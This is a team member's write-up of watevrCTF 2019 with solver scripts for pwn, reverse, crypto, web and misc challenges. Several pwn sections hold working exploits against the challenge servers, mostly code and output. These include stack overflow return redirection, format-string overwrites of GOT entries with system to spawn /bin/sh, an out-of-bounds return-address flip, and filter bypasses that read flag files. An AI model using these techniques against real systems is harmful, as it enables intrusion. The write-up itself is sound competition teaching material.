CTFするぞ

CTF以外のことも書くよ

watevrCTF 2019 Writeup

I played watevrCTF, a Swedish CTF held from December 13th to 15th, in zer0pts. We got 4869pts and stood 3rd place.

f:id:ptr-yudai:20191216062058p:plain

Most of tasks are well-designed and I really enjoyed the CTF. Thank you to watevr for hosting the CTF!

Team members' writeups:

furutsuki.hatenablog.com

st98.github.io

The tasks and solvers for some challenges I solved:
https://bitbucket.org/ptr-yudai/writeups/src/master/2019/watevrCTF_2019/

[pwn 33pts] Voting Machine 1 (241 solves)

Description: In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...
Server: nc 13.48.67.196 50000
File: kamikaze

Simple stack overflow.

from ptrlib import *

elf = ELF("./kamikaze")
#sock = Process("./kamikaze")
sock = Socket("13.48.67.196", 50000)

payload = b'A' * 10
payload += p64(elf.symbol('super_secret_function'))
sock.sendlineafter("Vote: ", payload)

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to 13.48.67.196:50000
[ptrlib]$ Thanks for voting!
watevr{w3ll_th4t_w4s_pr3tty_tr1v1al_anyways_https://www.youtube.com/watch?v=Va4aF6rRdqU}

[pwn 73pts] Voting Machine 2 (83 solves)

Description: In a world with many uncertainties we need some kind of structure. Democracy is a big part of that, therefore we need voting machines! Well, at least if they are safe...
Server: nc 13.53.125.206 50000
File: kamikaze2, libc-2.27.so

Simple format string exploit.

from ptrlib import *

elf = ELF("./kamikaze2")
libc = ELF("./libc-2.27.so")
#sock = Process("./kamikaze2")
sock = Socket("13.53.125.206", 50000)
addr_start = 0x8420620

# leak libc
payload = b'XX'
payload += fsb(
    pos = 8,
    writes = {elf.got('exit'): addr_start},
    written = 2,
    bs = 2,
    bits = 32
)
payload += b'::%23$p'
sock.sendlineafter("Topic: ", payload)
libc_base = int(sock.recv(4000).split(b'::')[-1][:10], 16) - libc.symbol('__libc_start_main') - 0xf1
logger.info("libc = " + hex(libc_base))

# overwrite printf
payload = b'XX'
payload += fsb(
    pos = 8,
    writes = {elf.got('printf'): libc_base + libc.symbol('system')},
    written = 2,
    bs = 1,
    bits = 32
)
sock.sendline(payload)
sock.recv()

# get the shell!
sock.sendline("/bin/sh\x00")
sock.recv()

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to 13.53.125.206:50000
[+] <module>: libc = 0xf7d23000
[ptrlib]$ cat /home/ctf/flag.txt
[ptrlib]$ watevr{GOT_som3_fl4g_for_you_https://www.youtube.com/watch?v=hYeFcSq7Mxg}

[pwn 144pts] Club Mate (33 solves)

Description: You got assigned as mcDonald's *national* security expert, hence, you are now the richest mcDdonald's employee in the world! Of course, you want it to stay that way! The only problem is that, after all the pwning at mcDonald's, your thirst has grown to an uncontrollable amount. You need that club mate but you can't loose money in the process!
Server: nc 13.48.178.241 50000
File: Club_Mate

OOB to make money big. We need to consume all clubs to reach to the money check.

from ptrlib import *

def buy(index):
    sock.sendline(str(index))
    sock.sendline("$4")
def ret(index):
    sock.sendline(str(index))
    sock.sendline("yes")

elf = ELF("./Club_Mate")
#sock = Process(["stdbuf", "-o0", "-i0", "./Club_Mate"])
sock = Socket("13.48.178.241", 50000)

buy(0)
ret(0)
for i in range(1, 15):
    buy(i)
for i in range(113):
    buy(-4)
buy(0)

sock.interactive()
$ python solve.py
...
That will be $4
Thanks, here is your club-mate!
watevr{P4nTa_M33333333Ra_youtube.com/watch?v=QGoEYcRmzq0}

[pwn 194pts] Betstar5000 (21 solves)

Description: Welcome to our betting service! I hope you will like it :))
Server: nc 13.53.69.114 50000
Files: betstar5000, libc-2.27.so

We're given a 64-bit ELF.

$ checksec -f betstar5000
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
No RELRO        Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols      Yes     0               3       betstar5000

It has FSB in the name when a player wins a game. We can only set short name on heap so it might be hard to overwrite GOT with this. However, on the stack there's an address pointing to the player list on the heap. I modified the address of the player's name to the pointer of another player's name.

Before: name[0] = "foo"
After: name[0] = &name[1]

Thus we have AAW. I changed atoi into system.

from ptrlib import *

elf = ELF("./betstar5000")
libc = ELF("./libc-2.27.so")
#sock = Process("./betstar5000")
sock = Socket("13.53.69.114", 50000)

# set players
sock.sendline("1")
sock.sendline("%p.%p.%p")

# leak addr
sock.sendlineafter("game\n", "1")
sock.sendline("1")
sock.sendline("0")
sock.recvuntil("*: ")
r = sock.recvline().split(b'.')
libc_base = int(r[1], 16) - libc.symbol('_IO_2_1_stdin_')
proc_base = int(r[2], 16) - 0x8d5
logger.info("libc = " + hex(libc_base))
logger.info("proc = " + hex(proc_base))

# change name
sock.sendlineafter("game\n", "4")
sock.sendline("0")
sock.sendline("%{}c%7$hhn".format(0x88))

# overwrite name[0] to &name[1]
sock.sendlineafter("game\n", "1")
sock.sendline("1")
sock.sendline("0")

# add player
sock.sendlineafter("game\n", "3")
sock.sendline("taro")

# overwrite atoi to system
sock.sendlineafter("game\n", "4")
sock.sendline("0")
sock.sendline(p32(proc_base + elf.got("atoi")))
sock.sendlineafter("game\n", "4")
sock.sendline("1")
sock.sendline(p32(libc_base + libc.symbol("system")))

# get the shell!
sock.sendlineafter("game\n", "sh\x00")

sock.interactive()

Yay!

$ python solve.py 
[+] __init__: Successfully connected to 13.53.69.114:50000
[+] <module>: libc = 0xf7d44000
[+] <module>: proc = 0x565e6000
[ptrlib]$ cat /home/ctf/flag.txt
[ptrlib]$ watevr{i_G0Tta_f33ling_https://www.youtube.com/watch?v=uSD4vsh1zDA}

[pwn 277pts] M-x 5x5 (11 solves)

Description: I'm working on rewriting Emacs in C, and have gotten quite a lot of it done. Can you help me, and see if there are any security issues with it? Note: A more functional version can be found here: http://www.logicgamesonline.com/lightsout/
Server: nc 13.53.187.163 50000
File: M-x-5x5

It's a lights-out game.

$ checksec -f M-x-5x5
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   75 Symbols     No       0               4       M-x-5x5

The flip function has obvious oob error. So, I flipped the return address bit by bit and turned it into the flag function.

from ptrlib import *

"""
11110110     11101100
11010000     11100000
00000010     00000010
00000000     00000000
00000000 --> 00000000
00000000     00000000
00000000     00000000
00000000     00000000
"""

def flip(x, y):
    logger.info("flipping ({}, {})".format(x, y))
    sock.sendlineafter(": ", "f {} {}".format(x, y))

def overwrite(val, orig=0x400b6f):
    state = orig
    for i in range(8):
        b = (val >> (i * 8)) & 0xff
        for j in range(8):
            a = (state >> (i * 8)) & 0xff
            if (a >> j) & 1 != (b >> j) & 1:
                flip(j, 17 + i)
                mask = 0b11
                if j > 0:
                    mask = (0b111 << (j - 1)) & 0xff
                state ^= (1 << j) << (i * 8)
                state ^= mask << ((i + 1) * 8)

#sock = Process("./M-x-5x5")
sock = Socket("13.53.187.163", 50000)

sock.sendline('')
sock.sendlineafter('? ', '8')

logger.info("overwriting...")
overwrite(0x400738) # skip `push rbp` to avoid movaps

sock.sendlineafter(": ", "q")

sock.interactive()

Great!

$ python solve.py 
[+] __init__: Successfully connected to 13.53.187.163:50000
[+] <module>: overwriting...
[+] flip: flipping (0, 17)
[+] flip: flipping (1, 17)
...
[+] flip: flipping (7, 23)
[+] flip: flipping (2, 24)
[ptrlib]$ here you go: watevr{watevr{maybe_well_implement_M-x_tetris_some_day}}

[pwn 173pts] Wat-sql (25 solves)

Description: The success of sabataD was so great that we implemented an even better and even more secure system! Wat-sql offers secure write and read access!
Server: nc 13.53.39.99 50000
File: wat-sql

The program reads a specified line of a specified file. It filters out some string like flag for file name. However, if a variable is set, we can bypass the filter. The variable is left set when we try to open a file which doesn't exist.

from ptrlib import *

#sock = Process("./wat-sql")
sock = Socket("13.53.39.99", 50000)

# auth
code = b'watevr-sql2019-demo-code-admin'
code += b'\x00' * (0x20 - len(code))
code += b'sey'
sock.sendafter(": ", code)

# abort read
sock.sendlineafter("Query: ", "read ")
sock.sendlineafter("from: ", "/ponta")

# read flag
sock.sendlineafter("Query: ", "read ")
sock.sendlineafter("from: ", "/home/ctf/flag.txt")
sock.sendlineafter("read: ", "0")

sock.interactive()
$ python solve.py 
[+] __init__: Successfully connected to 13.53.39.99:50000
[ptrlib]$ Data: watevr{wait_how_was_the_flag_file_was_specifically_checked_for?!_youtube.com/watch?v=KXnG0KkVzo8}

[pwn+reverse 304pts] Spott-i-fy (9 solves)

Description: Spotify is sooo hard to use, so i decided to make a super secure api for it!
Server: nc 13.48.149.167 50000
File: spottify

There're some vulnerabilities and bugs in the program. I tried to overlap userinfo and music list to leak the flag on the heap but the solution was much easier. The login function has overflow in the password......

from ptrlib import *

def register(username, password, nofill=False):
    sock.sendline("r")
    sock.sendline(username)
    if nofill:
        sock.sendline(password)
    else:
        sock.sendline(password + b'\x00' * (30 - len(password)))
    sock.recvline()

def login(username, password):
    sock.sendline("l")
    sock.sendlineafter(": ", username)
    sock.sendlineafter(": ", password)
    sock.sendlineafter(": ", "n")

def fetchall():
    sock.sendline("Fetch *")

def fetch(cat1, cat2, cat3):
    sock.sendline("Fetch {} {} {}".format(cat1, cat2, cat3))

def logout():
    sock.sendline("Logout")
    sock.recvline()

#sock = Process("./spottify")
sock = Socket("13.48.149.167", 50000)
sock.recvline()

login("taro", "A" * 30 + "taw")
fetch("watpop", "KNAAN", "\xf0\x9d\x93\xaf\xf0\x9d\x93\xb5\xf0\x9d\x93\xaa\xf0\x9d\x93\xb0")

sock.interactive()

Pwn tasks are mostly reversing tasks :/

$ python solve.py 
[+] __init__: Successfully connected to 13.48.149.167:50000
[ptrlib]$ Listeners:  13371337
Secret:  watevr{spott-i-fy_1s_my_n3w_goto_sabataD!_youtube.com/watch?v=eserxoOmeeY}

[forensics 23pts] Evil Cuteness (425 solves)

Description: Omg, look at that cute kitty! It's so cute I can't take my eyes off it! Wait, where did my flag go?
File: kitty.jpg

foremost + unzip

[reverse 98pts] esreveR (56 solves)

Description: If you reverse a reversed program, in reverse. Have you then reversly reversed a reverse reverse or have you reversed the reversed reverse, in reverse?
File: esrever

There's a "flag check" function, in which it checks the flag byte by byte. I used gdb script to extract the correct ones.

# gdb -n -q -x solve.py ./esrever
import gdb
import re

gdb.execute("set disassembly intel")
gdb.execute("set pagination off")
gdb.execute("break *0x555555554ba0")
gdb.execute("run << /dev/null")

flag = ""
while True:
    gdb.execute("nexti")
    line = gdb.execute("x/1i $rip", to_string=True)
    r = re.findall("\t([a-z]+) ", line)
    if r == [] or r[0] != 'cmp':
        continue
    r = re.findall("QWORD PTR \[rbp(.+)\]", line)
    if r == []:
        continue
    ofs = int(r[0], 16)
    line = gdb.execute("x/1bx $rbp+({})".format(ofs), to_string=True)
    c = line.split(":\t")[1]
    flag += chr(int(c, 16))
    print(flag)
    gdb.execute("set $rax={}".format(c))

[reverse+crypto 173pts] Watshell (25 solves)

Description: We have had such terrible experience with socalled secure systems that we decided to create our own! Now we can finally ensure user privacy in remote shells!
Server: nc 13.48.42.211 50000
File: watshell

We can give up to 0x20 values to the program. It calculates the following formula for each value.

m[i] = pow(v[i], 113, 143)

m must become give_me_the_flag_please. As it's a simple (and weak) RSA, we can find the correct values.

from ptrlib import *

p = 11
q = 13
d = 113
e = inverse(d, (p-1) * (q-1))

cipher = []
plain = b'give_me_the_flag_please'
for c in plain:
    cipher.append(pow(c, e, p*q))

# 38 118 79 95 127 109 95 127 129 91 95 127 20 114 15 38 127 73 114 95 15 124 95
print(' '.join(list(map(str, cipher))))

Yay!

$ nc 13.48.42.211 50000
Welcome to watshell, we ofcourse use our own super secure cryptographic functions to ensure user privacy!
Command: 38 118 79 95 127 109 95 127 129 91 95 127 20 114 15 38 127 73 114 95 15 124 95
Alright, alright watevr{oops_1_f0rg0t_to_use_r4ndom_k3ys!_youtube.com/watch?v=BaACrT6Ydik}

[misc 153pts] Ancient Script (30 solves)

Description: Hmm, this looks like something my english teacher would give me, doesn't it? Too bad i forgot english... NOTE: the flag for this challenge is not in the standard watevr{} format. Submit it as is right from the challenge without the flag format.
File: romeo

We're given an SPL program. I converted it into C by spl2c and compiled it. It pushes the following flag into the stack.

d0n7_y0u_l0v3_350l4n65_45_much_45_w3_d0?

[web 213pts] HTJP (18 solves)

Description: Wasn't this supposed to be a joke? You should go take a look at /i_store_my_flag_inside_this_file.txt Note: Because of an oversight in the specification, Content-Length is required. Also, the link below should be htjp:// instead of http://, sorry about that.
Server: http://13.53.150.215:50000

It's a HTJP server. It "responses" a url which seems calculated with using our "request" contents by xoring. I made a script to find the xor key in order to make the server access /i_store_my_flag_inside_this_file.txt.

from ptrlib import *
import urllib.parse

def send_request(content):
    sock.send("HTTP/1.1 200 OK\r\n")
    sock.send("Content-Length: {}\r\n".format(len(content)))
    sock.send("Content-Type: text/plain\r\n\r\n")
    sock.send(content)
    r = re.findall(b"/(.+) HTTP", sock.recvline())
    return str2bytes(urllib.parse.unquote(bytes2str(r[0])))

target = b"i_store_my_flag_inside_this_file.txt"
c = "1"

sock = Socket("13.53.150.215", 50000)
key = send_request(c * len(target) + "\r\n")
key = xor(key, c)
print(key)
sock.close()

cipher = target
delta = key

for i in range(50):
    sock = Socket("13.53.150.215", 50000)
    cipher = xor(cipher, delta)
    delta = send_request(cipher)
    print(delta)
    if delta == target: break
    delta = xor(delta, target)
    sock.close()

print(xor(cipher, target))
sock.interactive()

And xoring the key with the target url generated the flag.

from ptrlib import *
import urllib.parse

def send_request(content):
    sock.send("HTTP/1.1 200 OK\r\n")
    sock.send("Content-Length: {}\r\n".format(len(content)))
    sock.send("Content-Type: text/plain\r\n\r\n")
    sock.send(content)
    #r = re.findall(b"/(.+) HTTP", sock.recvline())
    #return str2bytes(urllib.parse.unquote(bytes2str(r[0])))

target = b"i_store_my_flag_inside_this_file.txt"
c = "1"

key = b'\x1e>\x07\x11\x19\x00\x1eo\x0f\x13l\x05[P\x11l\x05\x17,\x1a\x11\x15:\x06\x01\x06\x01\x00QY3\r\x19C\x08\t'

sock = Socket("13.53.150.215", 50000)
cipher = xor(target, key)
print(send_request(cipher))
print(sock.recv())
sock.interactive()

print(xor(target, key))

[reverse+pwn 220pts] sabataD (17 solves)

Description: !tuo ti kcehc s'tel ,woW !llewsa ti rof ipa na tuo gnivig era yeht dna ho ,esabatad looc repus wen a evah elgoog draeh i
Server: nc 13.48.192.7 50000
Files: client, server

I analysed the server to reveal the communication protocol. It uses rot13 and pads command, username, filepath byte by byte. The server "glob"s the given path and read the file. So, we can make it open /home/ctf/flag.txt without putting the whole path.

from ptrlib import *

def rot13(s):
    output = b''
    for c in s:
        if ord('a') <= c <= ord('z'):
            output += bytes([ord('a') + (c - ord('a') + 13) % 26])
        elif ord('A') <= c <= ord('Z'):
            output += bytes([ord('A') + (c - ord('A') + 13) % 26])
        else:
            output += bytes([c])
    return output

def craft_payload(command, username, filepath):
    payload = b''
    for i in range(max(len(command), len(username), len(filepath))):
        if len(command) > i:
            payload += bytes([command[i]])
        else:
            payload += b'_'
        if len(username) > i:
            payload += bytes([username[i]])
        else:
            payload += b'_'
        if len(filepath) > i:
            payload += bytes([filepath[i]])
        else:
            payload += b'_'
    payload += b'\x00' * (0xc8 - len(payload))
    return rot13(payload)

sock = Socket("13.48.192.7", 50000)

payload = craft_payload(b'Fetch from file with index',
                        b'watevr-admin',
                        b'/home/ctf/flag.tx*')
sock.send(payload)

sock.interactive()

[rev+crypto 304pts] Librarians Nightmare (9 solves)

Description: "Oh no", the Librarian whispered as she dropped her book. "I was just getting to the part about the flag, but I don't remember what page it was. All I remember is the word watevr{. Can you help me find where I was?"
Server: http://13.48.27.177:50000

We're given the server source code and book generater. It makes the book content by n2st(f(100*page + offset)). n2st is defined as below:

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'

def n2st(n, length = 7):
    if length == 0:
        return ""
    ch = chars[n % len(chars)]
    return n2st(n // len(chars), length - 1) + ch

So, it's base 65.

And the interesting part is f.

def f(n):
    if n == 0:
        return (c + k) % m
    if n % 2 == 0:
        fx = f(n // 2)
        return (k + (fx ** 2 - 2 * k * fx + k ** 2) * d) % m
    else:
        fx = f((n - 1) // 2)
        return (k + a * (fx ** 2 - 2 * k * fx + k ** 2) * d) % m

where c, a, k, d are unknown.

c, a, k, d = map(int, open("keys.txt", "r").read().split())
m = 4902227890643
assert((c * d) % m == 1);

Let's take a look over f from the base of the recursion.

 f(0) = c + k \mod m

Be noticed (fx ** 2 - 2 * k * fx + k ** 2) is actually (fx - k)**2.

 f(1) = k + ad(f(\cfrac{n-1}{2}) - k)^{2} = k + ad((c+k) - k)^{2} = k + adc^{2} = k + ac \mod m

Cool! Let's calculate f(2).

 f(2) = k + d(f(\cfrac{n}{2}) - k)^{2} = k + d((k + ac) - k)^{2} = k + d(ac)^{2} = k + a^{2}c \mod m

Now we can generalize this calculation.

 f(n) = k + a^{n}c \mod m

Okay. As we can get f(n) from the server, we can find a, c, k, d.

 k = f(0) - c \mod m

 f(1) = f(0) - c + ac \mod m

 f(2) = f(0) - c + a^{2}c \mod m

 (a-1)c = f(1) - f(0) \mod m

 (a-1)(a+1)c = f(2) - f(0) \mod m

 (f(1) - f(0))(a+1) = f(2) - f(0) \mod m

 (f(1) - f(0))a = f(2) - f(1) \mod m

Thus,

 a = (f(2) - f(1))(f(1) - f(0))^{-1} \mod m

 c = (f(1) - f(0))(a-1)^{-1} \mod m

 k = f(0) - c \mod m

 d = c^{-1} \mod m

Now we have everything :)

from ptrlib import inverse

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'
    
def n2st(n, length = 7):
    if length == 0:
        return ""
    ch = chars[n % len(chars)]
    return n2st(n // len(chars), length - 1) + ch

def st2n(st):
    n = 0
    for i, c in enumerate(st):
        n += 65**(6-i) * chars.index(c)
    return n

m = 4902227890643
f0 = st2n("TgIgMEI")
f1 = st2n("Nh2uPF8")
f2 = st2n("h5EMH{G")

a = ((f1 - f2) * inverse(f0 - f1, m)) % m
c = ((f1 - f0) * inverse(a - 1, m)) % m
k = (f0 - c) % m
d = inverse(c, m)
print("a = {}".format(a))
print("c = {}".format(c))
print("k = {}".format(k))

def ff(n):
    return (pow(a, n, m) * c + k) % m

fn = st2n('watevr{')
b = ((fn - k) * d) % m
print("Solve {} = {} ^ n mod {}".format(b, a, m))

At last, we need to find the page number from the following formula.

3166318913274 = 1362000037531 ^ n mod 4902227890643

This can be solved by sage.

F = Zmod(m)
discrete_log(F(3166318913274), F(1362000037531), F.order())

We have n=2555482270306, so the flag is written in page 25554822703, 6th word.

f:id:ptr-yudai:20191216055845p:plain

Bingo!

[misc 337] Hjärnknull (7 solves)

Description: Watevr has difficulities making a decent calculator, so we are outsourcing! Oh and we ofcourse want you to do it in our own and therefore superior language, hjärnknull! Best of luck, you will need it.
Server: nc 13.48.59.61 50000
Files: clarification, hjärnknull.py

I made a simple assembler to make it easy to write the program.

import re

def assemble(instructions):
    output = []
    for instr in instructions:
        s = instr.split()
        if s == []: continue
        ope = s[0]
        args = []
        r = re.findall("data\[(\d+)\]", ''.join(s[1:]))
        if r: args += r
        r = re.findall("code\[(\d+)\]", ''.join(s[1:]))
        if r: args += r
        if ope == 'or':
            output.append("eller {} {}".format(args[0], args[1]))
        elif ope == 'not':
            output.append("inte {}".format(args[0]))
        elif ope == 'iseq':
            output.append("testa {} {} {}".format(args[0], args[1], args[2]))
        elif ope == 'ret':
            output.append("poppa")
        elif ope == 'recv':
            output.append("in {}".format(args[0]))
        elif ope == 'chall':
            output.append("ut {}".format(args[0]))
        elif ope == 'shr':
            output.append("hsh {} {}".format(args[0], args[1]))
        elif ope == 'shl':
            output.append("vsh {} {}".format(args[0], args[1]))
        else:
            print("[!] Unknown instruction: `{}`".format(ope))
    output.append("slut 0")
    return output
            
if __name__ == '__main__':
    assemble([
        "or data[0], data[1]",
        "not data[123]",
        "je data[0], data[1] call data[2]",
        "ret",
        "recv data[20]",
        "chall data[20]",
        "shr data[0], data[1]",
        "shl data[3], data[2]",
    ])

According to the clarification, we need to calculate given inputs 4 times. 0 is addition, 1 is subtraction and 2 is multiplication. For example, challenge_file.txt may look like this:

0 3 5: 8
1 22 12: 10
2 8 9: 72
...

I couldn't make a program which calculates these operations in the limited VM instructions. st98 suggested to find out the input values instead of calculating them. For example, the following code will go infinite loop only if input[0][0] == 0.

codeList = assemble([
    "iseq data[999]=data[999] { call code[2] }",
    "iseq data[999]=data[999] { call code[1] }",
    "recv data[0]",
    "recv data[1]",
    "recv data[2]",
    "shr data[100], data[101]",
    "shl data[102], data[101]",
    "iseq data[0]=data[100] { call code[1] }",
])

I found the operation for the first line is 2 in this way. Second, I leaked the input values bit by bit. We can generate -2 by (~(1>>1)>>1)<<1 and ~(x|-2) becomes 0 if x&1==1. In this way we can leak each bit. The following code leaks the least significant bit of input[0][2].

codeList = assemble([
    "iseq data[999]=data[999] { call code[2] }",
    "iseq data[999]=data[999] { call code[1] }", # infinite loop
    "recv data[0]", # recv inputs
    "recv data[1]",
    "recv data[2]",
    "shr data[10], data[101]", # data[10] = -2 (= 0b11111...1110)
    "not data[10]",
    "shr data[10], data[101]",
    "shl data[10], data[101]",
    "shr data[2], data[101]", # shift right i times
    "shr data[2], data[101]",
    "shr data[2], data[101]",
    "or data[2], data[10]", # check the least significant bit
    "not data[2]",
    "iseq data[2]=data[101] { call code[1]}" # if (x>>i)&1==0 --> infinite
])

I know this is unintended solution and it's too hard but I didn't have enough time. Finally I leaked everything in challenge_file.txt:

2 5 15:75
2 44 4578:201432
2 154545 1:154545
0 5 9:14

This is the final code.

from ptrlib import *
from asm import assemble

sock = Socket("13.48.59.61", 50000)
#sock = Process(["python", "hjarnknull.py"])

codeList = assemble([
    "iseq data[999]=data[999] { call code[2] }",
    "iseq data[999]=data[999] { call code[1] }", # infinite loop
    "shl data[0], data[101]",
    "shl data[0], data[101]",
    "shl data[0], data[101]",
    "or data[0], data[101]",
    "shl data[0], data[101]",
    "shl data[0], data[101]",
    "or data[0], data[101]",
    "shl data[0], data[101]",
    "or data[0], data[101]",
    "chall data[0]",
    
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "or data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "shl data[1], data[101]",
    "chall data[1]",
    
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "shl data[2], data[101]",
    "or data[2], data[101]",
    "chall data[2]",
    
    "shl data[3], data[101]",
    "or data[3], data[101]",
    "shl data[3], data[101]",
    "or data[3], data[101]",
    "shl data[3], data[101]",
    "chall data[3]"
])
for i, code in enumerate(codeList):
    print(code)
    sock.sendline(code)

sock.interactive()
$ python solve.py
...
...
Jävlar vilket klockrent program du har skrivit! Här har du en flagga watevr{And_I_thought_brainfuck_was_a_hjärnknull_jeez_youtube.com/watch?v=CAb_bCtKuXg}